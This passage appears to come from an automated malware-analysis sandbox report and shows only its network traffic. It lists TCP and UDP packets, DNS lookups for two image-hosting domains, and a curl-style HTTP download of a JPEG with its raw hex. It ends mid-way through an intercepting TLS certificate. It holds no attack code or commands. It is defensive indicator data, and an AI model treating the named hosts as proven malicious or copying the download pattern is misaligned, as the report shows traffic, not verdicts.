      Aug 23, 2017 11:21:38.083127975 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.083340883 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:38.083378077 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.089122057 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.089358091 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:38.089394093 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.092524052 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.092715025 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:38.092751980 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.110043049 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.110291004 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:38.110331059 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.118227005 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.118248940 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.118458986 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:38.118499994 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.124912977 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.124927998 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.125124931 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:38.125163078 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.132553101 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.132565975 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.132704020 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:38.132735968 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.139761925 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.139775038 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.140012980 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:38.140053034 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.160986900 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.161009073 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.161185026 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:38.161221981 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.167982101 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.168004990 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.168148041 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:38.168179989 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.168633938 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.168656111 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.169003963 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:38.169033051 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.182077885 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.182327032 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:38.182370901 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.195485115 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.195502043 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.195668936 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:38.195717096 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.200978041 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.201088905 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:38.201112032 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.211958885 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.211971045 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.212058067 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:38.212086916 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.216873884 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.216886044 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.217009068 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:38.217050076 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.218832016 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.218846083 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.218961954 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:38.218997002 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.226661921 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.226677895 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.226833105 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:38.226871967 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.236542940 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.236558914 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.236696005 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:38.236727953 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.247704029 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.247720003 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.247849941 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:38.247901917 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.254456043 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.254472971 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.254569054 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:38.254605055 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.256594896 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.256609917 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.256711006 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:38.256733894 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.272567034 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.272583008 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.272815943 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:38.272847891 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.278706074 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.278729916 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.278932095 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:38.278970957 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.281512022 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.281727076 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:38.281764984 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.295304060 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.295488119 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:38.295511007 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.296359062 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.296526909 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:38.296555996 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.303258896 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.303637981 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:38.303658009 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.307102919 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.307118893 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.307276964 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:38.307300091 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.311328888 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.311343908 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.311553955 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:38.311594009 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.317281961 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.317296028 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.317507029 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:38.317547083 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.322218895 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.322371006 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:38.322393894 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.327435017 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.327574015 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:38.327596903 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.327672958 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.327934980 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:38.327953100 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.528455019 MESZ8049196104.24.116.148192.168.1.16
      Aug 23, 2017 11:21:38.528846025 MESZ4919680192.168.1.16104.24.116.148
      Aug 23, 2017 11:21:47.398139000 MESZ4919680192.168.1.16104.24.116.148

      UDP Packets

      TimestampSource PortDest PortSource IPDest IP
      Aug 23, 2017 11:21:32.425781012 MESZ6148453192.168.1.168.8.8.8
      Aug 23, 2017 11:21:32.621227026 MESZ53614848.8.8.8192.168.1.16
      Aug 23, 2017 11:21:32.791610003 MESZ5479753192.168.1.168.8.8.8
      Aug 23, 2017 11:21:32.982661963 MESZ53547978.8.8.8192.168.1.16
      Aug 23, 2017 11:21:34.719229937 MESZ5843553192.168.1.168.8.8.8
      Aug 23, 2017 11:21:34.986608982 MESZ53584358.8.8.8192.168.1.16
      Aug 23, 2017 11:21:34.997807980 MESZ5118453192.168.1.168.8.8.8
      Aug 23, 2017 11:21:35.229789972 MESZ53511848.8.8.8192.168.1.16

      DNS Queries

      TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
      Aug 23, 2017 11:21:32.425781012 MESZ192.168.1.168.8.8.80x82d8Standard query (0)image.ibb.coA (IP address)IN (0x0001)
      Aug 23, 2017 11:21:32.791610003 MESZ192.168.1.168.8.8.80xed55Standard query (0)image.ibb.coA (IP address)IN (0x0001)
      Aug 23, 2017 11:21:34.719229937 MESZ192.168.1.168.8.8.80x6af7Standard query (0)sm.uploads.imA (IP address)IN (0x0001)
      Aug 23, 2017 11:21:34.997807980 MESZ192.168.1.168.8.8.80x504aStandard query (0)sm.uploads.imA (IP address)IN (0x0001)

      DNS Answers

      TimestampSource IPDest IPTrans IDReplay CodeNameCNameAddressTypeClass
      Aug 23, 2017 11:21:32.621227026 MESZ8.8.8.8192.168.1.160x82d8No error (0)image.ibb.co104.27.127.62A (IP address)IN (0x0001)
      Aug 23, 2017 11:21:32.982661963 MESZ8.8.8.8192.168.1.160xed55No error (0)image.ibb.co104.27.127.62A (IP address)IN (0x0001)
      Aug 23, 2017 11:21:34.986608982 MESZ8.8.8.8192.168.1.160x6af7No error (0)sm.uploads.im104.24.116.148A (IP address)IN (0x0001)
      Aug 23, 2017 11:21:35.229789972 MESZ8.8.8.8192.168.1.160x504aNo error (0)sm.uploads.im104.24.116.148A (IP address)IN (0x0001)

      HTTP Request Dependency Graph

      • sm.uploads.im
      • image.ibb.co

      HTTP Packets

      TimestampSource PortDest PortSource IPDest IPHeaderTotal Bytes Transfered (KB)
      Aug 23, 2017 11:21:35.234725952 MESZ4919680192.168.1.16104.24.116.148GET /X8IOl.jpg HTTP/1.1
      Connection: Keep-Alive
      Accept: */*
      Accept-Language: en-US
      User-Agent: curl/7.51.0
      Host: sm.uploads.im
      		13
      Aug 23, 2017 11:21:35.537159920 MESZ8049196104.24.116.148192.168.1.16HTTP/1.1 200 OK
      Date: Wed, 23 Aug 2017 09:21:35 GMT
      Content-Type: image/jpeg
      Content-Length: 1040099
      Connection: keep-alive
      Set-Cookie: __cfduid=dd243408c901a618043c5d5e65d5bbedb1503480095; expires=Thu, 23-Aug-18 09:21:35 GMT; path=/; domain=.uploads.im; HttpOnly
      Last-Modified: Wed, 09 Aug 2017 18:48:58 GMT
      ETag: "598b591a-fdee3"
      Expires: Fri, 22 Sep 2017 09:21:35 GMT
      Cache-Control: public, max-age=2592000
      CF-Cache-Status: HIT
      Accept-Ranges: bytes
      Server: cloudflare-nginx
      CF-RAY: 392d00a41054729b-AMS
      Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ff db 00 43 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ff c0 00 11 08 04 38 07 80 03 01 11 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa ff c4 00 1f 01 00 03 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 11 00 02 01 02 04 04 03 04 07 05 04 04 00 01 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 fe 25 eb d8 3c 70 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0
      Data Ascii: JFIFCC8}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzw!1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?%<p((((((((((((((((((((((((((((((((((((((((((((
      		14
      Aug 23, 2017 11:21:35.537192106 MESZ8049196104.24.116.148192.168.1.16Data Raw: 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28
      Data Ascii: (((((((((((((((((((((((((((((((((((
      		16
      Aug 23, 2017 11:21:35.537208080 MESZ8049196104.24.116.148192.168.1.16Data Raw: 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80
      Data Ascii: ((((((((((
      		16
      Aug 23, 2017 11:21:35.547652960 MESZ8049196104.24.116.148192.168.1.16Data Raw: 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0
      Data Ascii: (((((((((((((((((((((((((((((((((((
      		18
      Aug 23, 2017 11:21:35.547678947 MESZ8049196104.24.116.148192.168.1.16Data Raw: a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00
      Data Ascii: ((((((((((((((((((((((((((((((((((
      		19
      Aug 23, 2017 11:21:35.547699928 MESZ8049196104.24.116.148192.168.1.16Data Raw: 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02
      Data Ascii: (((((((((((((((((((((((((((((((((((
      		20
      Aug 23, 2017 11:21:35.552057028 MESZ8049196104.24.116.148192.168.1.16Data Raw: 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02
      Data Ascii: (((((((((((((((((((((((((((((((((((
      		22
      Aug 23, 2017 11:21:35.552087069 MESZ8049196104.24.116.148192.168.1.16Data Raw: 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28
      Data Ascii: (((((((((((((((((((((((((((((((((((
      		23
      Aug 23, 2017 11:21:35.552098989 MESZ8049196104.24.116.148192.168.1.16Data Raw: 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80
      Data Ascii: (((((((((((((((((((((((((((((((((((
      		24
      Aug 23, 2017 11:21:35.560952902 MESZ8049196104.24.116.148192.168.1.16Data Raw: 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80
      Data Ascii: (((((((((((((((((((((((((((((((((((
      		26
      Aug 23, 2017 11:21:35.560988903 MESZ8049196104.24.116.148192.168.1.16Data Raw: 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00
      Data Ascii: (((((((((((((((((((((((((((((((((((
      		27

      HTTPS Packets

      TimestampSource PortDest PortSource IPDest IPSubjectIssuerNot BeforeNot AfterRaw
      Aug 23, 2017 11:21:33.851583004 MESZ44349195104.27.127.62192.168.1.16CN=ssl380953.cloudflaressl.com, OU=PositiveSSL Multi-Domain, OU=Domain Control ValidatedCN=The Universe Security Company Ltd, O=The Universe Security Company Ltd, L=San Francisco, ST=California, C=USTue Aug 22 11:21:33 CEST 2017Wed Aug 22 11:21:33 CEST 2018[[ Version: V3 Subject: CN=ssl380953.cloudflaressl.com, OU=PositiveSSL Multi-Domain, OU=Domain Control Validated Signature Algorithm: SHA1withRSA, OID = 1.2.840.113549.1.1.5 Key: Sun RSA public key, 1024 bits modulus: 137913005347923907015781153321285228554267301360746517259720107755576703884815237871314046606573393178170134616137227195458523442611718805046944696880780549121777971101714608108602759080940951050955545984415739285539854846967815006582291670851525594644162395072093554477606387616910885183924352887518783102443 public exponent: 3 Validity: [From: Tue Aug 22 11:21:33 CEST 2017, To: Wed Aug 22 11:21:33 CEST 2018] Issuer: CN=The Universe Security Company Ltd, O=The Universe Security Company Ltd, L=San Francisco, ST=California, C=US SerialNumber: [ 6efc9010 eb82432e c6b836fa 9920c838]Certificate Extensions: 6[1]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: BB 3B 3F AA 10 70 C8 55 F7 24 E9 3B FD 32 19 F4 .;?..p.U.$.;.2..0010: F6 11 6B 3A ..k:][CN=The Universe Security Company Ltd, O=The Universe Security Company Ltd, L=San Francisco, ST=California, C=US]SerialNumber: [ d21ef1f6 e34f6bb8]][2]: ObjectId: 2.5.29.19 Criticality=falseBasicConstraints:[ CA:false PathLen: undefined][3]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth][4]: ObjectId: 2.5.29.15 Criticality=falseKeyUsage [ DigitalSignature Key_Encipherment][5]: ObjectId: 2.5.29.17 Criticality=falseSubjectAlternativeName [ DNSName: ssl380953.cloudflaressl.com DNSName: *.chapmanandassociates.ca DNSName: *.daniellesdoggydaycare.com DNSName: *.digitaldynamicswsi.com DNSName: *.grassrootsconstruction.org DNSName: *.ibb.co DNSName: *.karenlintoncrum.com DNSName: *.prlog.ru DNSName: *.quemfornece.com DNSName: *.rightawaycleaning.net DNSName: *.simgbb.com DNSName: *.southwestpropertygold.com DNSName: *.swanheating.com DNSName: *.swanhomecomfort.com DNSName: *.topuai.com DNSName: *.williswelby.com DNSName: *.wsiconcepts.com DNSName: *.wsiworld.com DNSName: chapmanandassociates.ca DNSName: daniellesdoggydaycare.com DNSName: digitaldynamicswsi.com DNSName: grassrootsconstruction.org DNSName: ibb.co DNSName: karenlintoncrum.com DNSName: prlog.ru DNSName: quemfornece.com DNSName: rightawaycleaning.net DNSName: simgbb.com DNSName: southwestpropertygold.com DNSName: swanheating.com DNSName: swanhomecomfort.com DNSName: topuai.com DNSName: williswelby.com DNSName: wsiconcepts.com DNSName: wsiworld.com][6]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: 53 48 B8 7B 78 E7 ED DE 16 3D 22 C0 D1 5B A2 09 SH..x....="..[..0010: 4A 72 3D 6D Jr=m]]] Algorithm: [SHA1withRSA] Signature:0000: 8C 9A D2 27 8C E8 A0 03 DF 0A 9A F5 13 CE 69 BE ...'..........i.0010: 2B 14 F6 A1 C5 8C 70 13 9E 4F F0 21 C2 FD FA 33 +.....p..O.!...30020: 70 D8 B6 70 78 88 5B EE F3 15 BC 48 B3 24 C4 2E p..px.[....H.$..0030: DD 67 AB DC 88 DA 8D 13 2F 03 8C 63 8C C4 CF 13 .g....../..c....0040: D2 9B CD C4 2A BE 80 92 9E A4 76 AE 87 50 D3 B3 ....*.....v..P..0050: A0 79 30 4E 5A 16 A9 25 5C D8 70 1F 4D B1 14 A4 .y0NZ..%\.p.M...0060: 79 EA 6B 33 F7 4D D3 5E 70 B1 AA 46 78 68 43 F7 y.k3.M.^p..FxhC.0070: 73 64 13 0A 5C 69 01 12 84 43 8A BD F2 2E AA F4 sd..\i...C......0080: AE 71 9C FC 4F DE A4 4E FE 36 E6 70 AE EE F2 C9 .q..O..N.6.p....0090: 32 96 29 AD 7F 60 BE 1B 2B 73 BE 14 AE 37 3A AC 2.)..`..+s...7:.00A0: 75 C4 4C 65 EC 96 34 AA 6D D6 42 0D 31 89 76 50 u.Le..4.m.B.1.vP00B0: 7D 04 92 65 DB A1 2B 44 F8 2F 4A 08 06 98 AB A7 ...e..+D./J.....00C0: E0 43 B4 37 AA F9 F1 7A E5 86 13 34 D4 6E 74 DC .C.7...z...4.nt.00D0: F5 20 77 B1 88 37 C4 3C AA 68 D8 F7 1C 40 E3 D9 . w..7.<.h...@..00E0: 1C 47 43 6A A9 8E 09 0D 65 3B 7E 64 4E 63 D3 D9 .GCj....e;.dNc..00F0: 5D 47 A0 5E 88 54 F0 FE D6 22 EF B4 1B 5D D0 08 ]G.^.T..."...]..0100: 31 CD 56 91 29 FA 1B C5 3F 3B B7 39 D3 06 94 36 1.V.)...?;.9...60110: EF A0 47 D7 1D AB 3A 2D F2 C0 E4 0A 14 13 D6 2B ..G...:-.......+0120: 5A 26 76 9F 44 6E A4 28 B0 F9 60 47 93 0B 13 D5 Z&v.Dn.(..`G....0130: E9 5C 47 8C B5 A0 24 79 97 BD 43 DF EE 03 9B 7F .\G...$y..C.....0140: C1 62 91 23 24 09 70 A8 AF 02 8F D9 90 FE C3 B0 .b.#$.p.........0150: 49 1B FE EF 4B 69 39 DE FE EA 5E D3 AD 8F 42 28 I...Ki9...^...B(0160: 92 67 55 7F ED 5F 45 99 58 CE E6 3D A4 67 F8 89 .gU.._E.X..=.g..0170: 52 3D E3 DF 7E 5C 89 9B EB AE 35 19 64 08 0C 0B R=...\....5.d...0180: AF 3B 0D 2B 5E 27 08 51 26 B1 14 CC AB D5 8B 29 .;.+^'.Q&......)0190: 8A 87 69 1B 8B 5E C8 72 DB 72 90 DB 58 C4 6F 4E ..i..^.r.r..X.oN01A0: 